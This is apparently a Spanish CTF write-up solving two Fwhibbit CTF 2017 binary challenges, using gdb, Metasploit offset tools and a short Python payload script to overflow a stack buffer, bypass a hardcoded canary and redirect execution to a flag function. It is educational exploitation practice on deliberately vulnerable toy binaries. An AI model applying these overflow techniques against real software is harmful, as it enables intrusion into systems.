Fwhibbit CTF 2017 - Find the Carrots

Published on:
Tags: exploiting

Enunciado

Find the Carrots

Points: 300

Country: Mexico

Attatchment: https://mega.nz/#!twM1nYCA!qXDWql7ER6gLYj6eaT7iG-12sFdH3ozePk0VDl_xLwk

Description: We all know that rabbits' favorite food is carrots. Help the rabbits to eat their favorite food today and be careful with the birds...good luck!

Solución

Se trata del clásico buffer overflow que peta cuando le metes más caracteres de los debidos:

./carrots 
 Where is my carrot?
 > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Segmentation fault

Veamos las protecciones que tiene el binario:

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Sólo tiene habilitado la no ejecucción en la pila, vamos a crear un patrón de caracteres para averiguar el offset con metasploit:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

Lo metemos en gdb y nos da una dirección que se corresponde con una parte del patrón anteior. Esta dirección se la pasamos a metasploit otra vez y nos da el offset:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 150 -q 0x37654136
[*] Exact match at offset 140

Si nos fijamos en la función main vemos que hay una llamada a la función que recoge nuestros datos por consola, esta función es vulnerable a un buffer overflow. Si metemos más de 140 caracteres vamos a sobreescribir el stack frame de main.

 08049790 <main>:
 8049790:   55                      push   ebp
 8049791:   89 e5                   mov    ebp,esp
 8049793:   81 ec a8 00 00 00       sub    esp,0xa8
 8049799:   c7 45 fc 44 52 49 42    mov    DWORD PTR [ebp-0x4],0x42495244
 80497a0:   c7 45 f8 00 00 00 00    mov    DWORD PTR [ebp-0x8],0x0
 80497a7:   e8 64 fa ff ff          call   8049210 <_Z6bannerv>             <== Pinta el dibujito
 80497ac:   8d 05 4a a0 04 08       lea    eax,ds:0x804a04a
 80497b2:   89 04 24                mov    DWORD PTR [esp],eax
 80497b5:   e8 a6 f7 ff ff          call   8048f60 <printf@plt>             <== Muestra la pregunta por pantalla
 80497ba:   8d 0d a0 c0 04 08       lea    ecx,ds:0x804c0a0
 80497c0:   8d 95 78 ff ff ff       lea    edx,[ebp-0x88]
 80497c6:   89 0c 24                mov    DWORD PTR [esp],ecx
 80497c9:   89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 80497cd:   89 85 74 ff ff ff       mov    DWORD PTR [ebp-0x8c],eax
 80497d3:   e8 c8 f7 ff ff          call   8048fa0                          <== Función vulnerable que recoge los datos introducidos
 80497d8:   81 7d f8 00 00 00 00    cmp    DWORD PTR [ebp-0x8],0x0
 80497df:   89 85 70 ff ff ff       mov    DWORD PTR [ebp-0x90],eax
 80497e5:   0f 85 14 00 00 00       jne    80497ff <main+0x6f>
 80497eb:   31 c0                   xor    eax,eax
 80497ed:   c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 80497f4:   89 85 6c ff ff ff       mov    DWORD PTR [ebp-0x94],eax
 80497fa:   e8 a1 f8 ff ff          call   80490a0 <exit@plt>
 80497ff:   31 c0                   xor    eax,eax
 8049801:   8b 4d f8                mov    ecx,DWORD PTR [ebp-0x8]          
 8049804:   89 0d d0 c1 04 08       mov    DWORD PTR ds:0x804c1d0,ecx    
 804980a:   8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 804980d:   89 0d d4 c1 04 08       mov    DWORD PTR ds:0x804c1d4,ecx
 8049813:   8b 4d 04                mov    ecx,DWORD PTR [ebp+0x4]
 8049816:   89 0d d8 c1 04 08       mov    DWORD PTR ds:0x804c1d8,ecx
 804981c:   81 c4 a8 00 00 00       add    esp,0xa8
 8049822:   5d                      pop    ebp
 8049823:   c3                      ret                                     <== Sobreescribir aquí el EIP antes de llamar a ret

Situación de la pila después de la llamada a la función y tras haber introducido 140 caracteres, los últimos 4 caracteres son diferentes para identificar donde está la posición de memoria de retorno que hemos machacado:

br *0x80497d8
 > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

gdb-peda$ x/64xw $esp
0xbffff290: 0x0804c0a0  0xbffff33c  0xb7dbfe00  0xb7dbfdfc
0xbffff2a0: 0xb7fac504  0xb7c13618  0xb7c3a870  0x00000018
0xbffff2b0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2c0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2d0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2e0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2f0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff300: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff310: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff320: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff330: 0x41414141  0x41414141  0x42424242  0xb7c24200

Una vez que sabemos que si introducimos 140 caracteres va a sobreescribir el EIP del stack frame de main, si metemos 136 caracteres y una dirección de memoria donde dirigir el flujo del programa (posición ocupada por BBBB y cuyo valor es 0xbffff33c). Lo suyo sería dirigir el programa hacia una dirección donde nos muestre el flag que buscamos, pero... ¿cual es esa dirección de memoria?
Si echamos un vistazo a las strings, vemos que hay unas cadenas que podrían darnos una pista de donde va a mostrarnos el flag:

rabin2 -z carrots | grep arrot
vaddr=0x08049fd5 paddr=0x00001fd5 ordinal=018 sz=38 len=37 section=.rodata type=ascii string=\n Yes! My Carrot is here! mmmm ... \n 

Buscando en el código encontramos la función desde la que se llama a esa string:

objdump -M intel -drw carrots | grep 49fd5 -6
08049570 <_Z6CARROTv>:
 8049570:   55                      push   ebp
 8049571:   89 e5                   mov    ebp,esp
 8049573:   53                      push   ebx
 8049574:   56                      push   esi
 8049575:   81 ec 90 00 00 00       sub    esp,0x90
 804957b:   8d 05 d5 9f 04 08       lea    eax,ds:0x8049fd5          <== Dirección de la string que buscamos con el grep
 8049581:   89 04 24                mov    DWORD PTR [esp],eax
 8049584:   e8 d7 f9 ff ff          call   8048f60 <printf@plt>
 8049589:   81 3d d4 c1 04 08 44 52 49 42   cmp    DWORD PTR ds:0x804c1d4,0x42495244
 8049593:   89 45 a8                mov    DWORD PTR [ebp-0x58],eax
 8049596:   0f 84 22 00 00 00       je     80495be <_Z6CARROTv+0x4e>
 804959c:   8d 05 fb 9f 04 08       lea    eax,ds:0x8049ffb

Nuestra función objetivo es "_Z6CARROTv", sólo nos queda apuntar el EIP a 0x08049570. Si lo probamos dentro del gdb, hay que cambiar las BBBB que está en la posición 0xbffff33c por el valor 0x08049570:

set {int}0xbffff33c=0x08049570
gdb-peda$ c
Continuing.

 Yes! My Carrot is here! mmmm ... 
  ~(‾▿‾)~   Oh NO! We hate birds :( 

Ooops! Something is wrong here. ¿Qué ha pasado? Parece que no era tan fácil como parecía. Echemos un vistazo a la función "_Z6CARROTv" a ver si encontramos algo:

 8049575:  81 ec 90 00 00 00       sub    esp,0x90
 804957b:   8d 05 d5 9f 04 08       lea    eax,ds:0x8049fd5
 8049581:   89 04 24                mov    DWORD PTR [esp],eax
 8049584:   e8 d7 f9 ff ff          call   8048f60 <printf@plt>
 8049589:   81 3d d4 c1 04 08 44 52 49 42   cmp    DWORD PTR ds:0x804c1d4,0x42495244    <= Compara el contenido de una posición de memoria con el valor 0x42495244
 8049593:   89 45 a8                mov    DWORD PTR [ebp-0x58],eax
 8049596:   0f 84 22 00 00 00       je     80495be <_Z6CARROTv+0x4e>
 804959c:   8d 05 fb 9f 04 08       lea    eax,ds:0x8049ffb
 80495a2:   89 04 24                mov    DWORD PTR [esp],eax
 80495a5:   e8 b6 f9 ff ff          call   8048f60 <printf@plt>
 80495aa:   31 c9                   xor    ecx,ecx
 80495ac:   c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 80495b3:   89 45 a4                mov    DWORD PTR [ebp-0x5c],eax
 80495b6:   89 4d a0                mov    DWORD PTR [ebp-0x60],ecx
 80495b9:   e8 e2 fa ff ff          call   80490a0 <exit@plt>
 80495be:   a1 d8 c1 04 08          mov    eax,ds:0x804c1d8

Tenemos una comparación entre el valor 0x42495244 (que en ASCII es 'BIRD", ¡son unos cachondos dando pistas!) y la posición de memoria 0x804c1d4, que es la variable 'c1' y contiene lo siguiente:

x/32xw 0x804c1d4
0x804c1d4 <c1>:   0x41414141  0xb7c24200  0x00000000  0x00000000

Mmm... no creo que sea casualidad que haya 'AAAA' en esa posición de memoria. Sospecho que en la función main guarda un valor en esa posición de memoria para asegurarse que nadie modifica la pila. Lo que se conoce como el canary stack, pero debe ser un canary hardcodeado en el propio código porque antes hemos visto que no estaba habilitado esa protección en el binario. Volvamos a la función main y veamos cuando guarda ese valor y como podemos saltarnos el canary hardcodeado:

 08049790 <main>:
 8049790:   55                      push   ebp
 8049791:   89 e5                   mov    ebp,esp
 8049793:   81 ec a8 00 00 00       sub    esp,0xa8
 8049799:   c7 45 fc 44 52 49 42    mov    DWORD PTR [ebp-0x4],0x42495244  <== Guarda como valor local(var_4) el valor hardcodeado del canary
 80497a0:   c7 45 f8 00 00 00 00    mov    DWORD PTR [ebp-0x8],0x0         <== Guarda un 0 en la variable local var_8
 ...........
 80497cd:   89 85 74 ff ff ff       mov    DWORD PTR [ebp-0x8c],eax
 80497d3:   e8 c8 f7 ff ff          call   8048fa0                          <== Función vulnerable que recoge los datos introducidos
 80497d8:   81 7d f8 00 00 00 00    cmp    DWORD PTR [ebp-0x8],0x0          <== Comprueba si ha habido algún error en la llamada a la función
 80497df:   89 85 70 ff ff ff       mov    DWORD PTR [ebp-0x90],eax
 80497e5:   0f 85 14 00 00 00       jne    80497ff <main+0x6f>              <== Si hay un error ($eax<>0) sigue y sale del programa
 80497eb:   31 c0                   xor    eax,eax
 80497ed:   c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 80497f4:   89 85 6c ff ff ff       mov    DWORD PTR [ebp-0x94],eax
 80497fa:   e8 a1 f8 ff ff          call   80490a0 <exit@plt>
 80497ff:   31 c0                   xor    eax,eax                         <== Sigue por aquí si no ha habido un error
 8049801:   8b 4d f8                mov    ecx,DWORD PTR [ebp-0x8]         <== Recupera el valor de var_8   
 8049804:   89 0d d0 c1 04 08       mov    DWORD PTR ds:0x804c1d0,ecx      <== Guarda var_8 en la posición 0x804c1d0
 804980a:   8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]         <== Recupera el valor del canary hardcodeado guardado en var_4
 804980d:   89 0d d4 c1 04 08       mov    DWORD PTR ds:0x804c1d4,ecx      <== Guarda el valor hardcodeado en la posición 0x804c1d4
 8049813:   8b 4d 04                mov    ecx,DWORD PTR [ebp+0x4]         <== Recupera un valor del stack frame previo
 8049816:   89 0d d8 c1 04 08       mov    DWORD PTR ds:0x804c1d8,ecx      <== Guarda el valor anterior en la posición 0x804c1d8
 804981c:   81 c4 a8 00 00 00       add    esp,0xa8
 8049822:   5d                      pop    ebp
 8049823:   c3                      ret                                   

Si observamos la pila antes de meter el offset en nuestra función de recogida de datos tenemos los siguientes valores:

x/32xw $ebp-0x4
0xbffff334: 0x42495244  0x00000000  0xb7c24276  0x00000001

Si la observamos después de meter el offset de 140 caracteres, se puede comprobar que hemos machadado tres valores que guarda en memoria y que luego va a usar para saber si hemos modificado la pila:

gdb-peda$ x/32xw $ebp-0x4
0xbffff334: 0x41414141  0x42424242  0xb7c24200  0x00000001

Ok, entonces no solo tenemos que poner la dirección donde queremos enviar el flujo del programa además debemos mantener esos valores para que no nos dé el error anterior. Para eso cambiamos los valores en gdb para evitar el canary:

set {int}0xbffff334=0x42495244
set {int}0xbffff338=0x00000000
set {int}0xbffff33c=0x08049570

Si seguimos la ejeucción del programa dentro del gdb nos da lo siguiente:

Yes! My Carrot is here! mmmm ... 
fwhibbit{Carrots_for_All_dabd8800}

Ya tenemos el flag, pero si lo introducimos en el panel del CTF nos dice que no es correcto. WTF!!!!

Aquí es donde me ofusque con este reto y empecé a hacer todo tipo de pruebas dentro de gdb para ver porque esa no era el flag correcto. Después de medio día perdido volviendome loco y gracias a un admin del CTF al que pregunté y me dijo que no tenía que hacer el reversing del binario sino que tenía que explotarlo. Fue entonces cuando entendí que tenía que ejecutar el exploit fuera del gdb porque los últimos valores del flag(dabd8800) eran el valor de una posición de memoria. Y cuando ejecutas el programa para debugearlo esas posiciones son diferentes a cuando lo haces directamente sobre el sistema. Por lo tanto hice mi cutre script en python y así conseguí explotar el programa. :-)

#!/usr/bin/python

# Fichero explotalo.py 

# Exploit ROP



from struct import pack

binary = "carrots"
junk = "A" * 132

rop = pack('<I', 0x42495244)   
rop += pack('<I', 0x00000000)    
rop += pack('<I', 0x08049570)   


payload = junk + rop 
print payload

Por fin la solución final:

root@LOL:~/fwhibbitCTF/pwn# python explotalo.py > file.txt 
root@LOL:~/fwhibbitCTF/pwn# ./carrots < file.txt 

        .--``..---.                
         .````--:ohdmNms/`         
          -:/+++/-.:smNd+          
       ```..--:ohmNNdhh.           
     `-. `.``.-+sosshd.         :. 
   -os--/sosdmmNNMMNy         .+// 
  :h+.+hNNMMMNNNMMNm/      `/yNN.` 
 .do/oNNMMMMMmohs+:`    .+hNMMMM-` 
 `yohNhNNNMh-           dosNMMMmo- 
  -mN+hMMMy             .smNMNdd/+`
   yN.hMMh               +NMMNmhds:
   +N//m+                 .osshyho 
  ..smhh                           
   ::oNmy-                         
      .//yhs/:`                    
          :ymNN/                   
         .-+shdho.                 
             `.--..` '''   

 Where is my carrot?
 > 
 Yes! My Carrot is here! mmmm ... 
 fwhibbit{Carrots_for_All_160591c0}
Segmentation fault

Fwhibbit CTF 2017 - Red Pill

Published on:

Enunciado

Red Pill

Points: 150

Country: India

Attatchment: https://mega.nz/#!NlMlkB6I!ypUjeh2I27f9U5cTu1r_XJBROOV-BQJriRvXeKn_xuk

Description: Deciding between the blue pill or the red pill is a tricky decision. But now...we already make a choice. Try to give the red pill to the rabbits.

Solución

Este en realidad se supone que era un exploiting pero se podía solucionar haciendo reversing. Veamos las características del binario:

file redpill 
redpill: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e3c09eea4928ac041095632410c29d84b538830f, stripped
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : Partial

Si lo ejecutamos y le pasamos como argumento una cadena de caracteres muy larga va a petar:

./redpill AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 Take the Red Pill!! 

     Red Pill  0x50444552
     Your Pill 0x41414141

  Blue Pill
Segmentation fault

Vamos a crear un patrón de caracteres para averiguar el offset con metasploit:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

Lo metemos en gdb y nos da una dirección que se corresponde con una parte del patrón anteior. Esta dirección se la pasamos a metasploit otra vez y nos da el offset:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 150 -q 0x80001660
[*] No exact matches, looking for likely candidates...

Ooops, parece que no hay ningún offset. Tendremos que probar a ejecutarlo en gdb y calcular a mano el offset o tener en cuenta la información que nos da al ejecutarlo sobre las posiciones de memoria de Red Pill y Your Pill.

Lo primero que observamos en el código ensamblador es la necesidad de pasarle un parámetro al ejecutable:

1486:  83 3f 01                cmp    DWORD PTR [edi],0x1        <== Si sólo hay un parámetro no salta y se para
1489:   75 3c                   jne    14c7 <main@@Base+0x99>  
   0x800014de <main+176>:    mov    ebx,esi
=> 0x800014e0 <main+178>:  call   0x80000e20 <strcpy@plt>          <== Función vulnerable que sobreescribe la posición de retorno del stack frame actual
   0x800014e5 <main+183>: add    esp,0x10

La pila antes de llamar a strcpy:

0xbffff280:    0xbffff2a5  0xbffff550  0xbffff2e8  0x80001454
0xbffff290: 0xb7eb9740  0x80004085  0x8000407c  0x8000166d
0xbffff2a0: 0xffffffff  0x80004000  0xbffff2c8  0x800016d9
0xbffff2b0: 0x00000001  0x0000ffff  0xb7fa5f2c  0x800016c5
0xbffff2c0: 0xb7dbf3dc  0x80004000  0x00000002  0x0b103743

La pila después de llamar a strcpy:

0xbffff290:    0xb7eb9740  0x80004085  0x8000407c  0x8000166d
0xbffff2a0: 0xffffffff  0x41414100  0x41414141  0x41414141
0xbffff2b0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2c0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2d0: 0x41414141  0x41414141  0xbf004141  0x00000000

Si seguimos ejecutando el código, vemos que hay una comparación de una variable local con un valor, que casualmente es el valor de red pill:

   0x80001510 <main+226>:    add    esp,0x10
=> 0x80001513 <main+229>:  cmp    DWORD PTR [ebp-0x1c],0x50444552     <== Valor de red pill
   0x8000151a <main+236>: jne    0x8000161a <main+492>

Este valor de redpill lo hemos sobrescrito cuando hemos llamado a la función strcpy como se puede ver en la memoria:

x/32xw $ebp-0x1c
0xbffff27c: 0x41414141  0x41414141  0x41414141  0x41414141

Si en el gdb directamente cambiamos ese valor:

set {int}0xbffff27c=0x50444552

Vemos que ahora el contenido de la posición de memoria va a coincidir con el valor de red pill:

x/32xw $ebp-0x1c
0xbffff27c: 0x50444552  0x41414141  0x41414141  0x41414141

Si seguimos ejecutando el programa dentro de gdb:

gdb-peda$ c
Continuing.

  Red Pill
  fwhibbit{t4ke-b0th_1346651474} 

Program received signal SIGSEGV, Segmentation fault.

¡Bingo! Ya tenemos el flag y sin tener que escribir ningún cutre script de explotación :)